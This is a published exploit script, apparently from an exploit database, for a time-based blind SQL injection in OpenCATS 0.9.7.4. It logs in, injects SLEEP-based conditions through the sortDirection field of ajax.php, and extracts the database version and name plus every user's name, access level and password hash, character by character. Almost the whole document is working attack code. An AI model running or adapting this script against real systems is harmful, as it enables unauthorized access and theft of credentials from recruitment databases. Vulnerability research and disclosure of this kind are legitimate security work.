📄 OpenCATS 0.9.7.4 SQL Injection

# Exploit Title: OpenCATS 0.9.7.4 - SQL Injection
    # Exploit Author: Gabriel Rodrigues (TEXUGO) from HAKAI
    # Vendor Homepage: https://www.opencats.org
    # Software Link: https://github.com/opencats/OpenCATS
    # Version: <= 0.9.7.4
    # Tested on: Ubuntu 22.04 / Apache2 / PHP / MariaDB 10.6
    # CVE: N/A (GHSA-8mc8-5gw6-c7w4)
    import requests, json, sys, time
    
    url   = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8888"
    user  = sys.argv[2] if len(sys.argv) > 2 else "admin"
    pw    = sys.argv[3] if len(sys.argv) > 3 else "cats"
    delay = 1.5
    
    s = requests.Session()
    s.get(f"{url}/index.php")
    s.post(f"{url}/index.php?m=login&a=attemptLogin", data={"username": user, "password": pw}, allow_redirects=True)
    
    def sqli(payload):
        t = time.time()
        s.get(f"{url}/ajax.php", timeout=30, params={"f": "getDataGridPager",
            "i": "candidates:candidatesListByViewDataGrid",
            "p": json.dumps({"sortBy": "dateModifiedSort", "sortDirection": payload, "rangeStart": 0, "maxResults": 15})})
        return time.time() - t
    
    def blind(cond):
        return sqli(f"DESC,IF(({cond}),SLEEP({delay}),0)") > delay * 0.6
    
    def extract(query, maxlen=100):
        out = ""
        for i in range(1, maxlen + 1):
            if blind(f"LENGTH({query})<{i}"): break
            lo, hi = 32, 126
            while lo < hi:
                mid = (lo + hi) // 2
                lo, hi = (mid + 1, hi) if blind(f"ORD(SUBSTRING({query},{i},1))>{mid}") else (lo, mid)
            out += chr(lo)
        return out
    
    base = sqli("DESC")
    slp  = sqli("DESC,SLEEP(2)")
    print(f"baseline={base:.2f}s  sleep(2)={slp:.2f}s")
    assert slp > base + 1, "not vulnerable or no candidate rows"
    print("injection confirmed\n")
    
    print("version:", extract("@@version", 30))
    print("database:", extract("DATABASE()", 20))
    
    n = int(extract("(SELECT COUNT(*) FROM user)", 3))
    print(f"users: {n}\n")
    for i in range(n):
        name  = extract(f"(SELECT user_name FROM user ORDER BY user_id LIMIT {i},1)", 40)
        level = extract(f"(SELECT access_level FROM user ORDER BY user_id LIMIT {i},1)", 5)
        hash_ = extract(f"(SELECT password FROM user ORDER BY user_id LIMIT {i},1)", 62)
        print(f"  {name}  level={level}  hash={hash_}")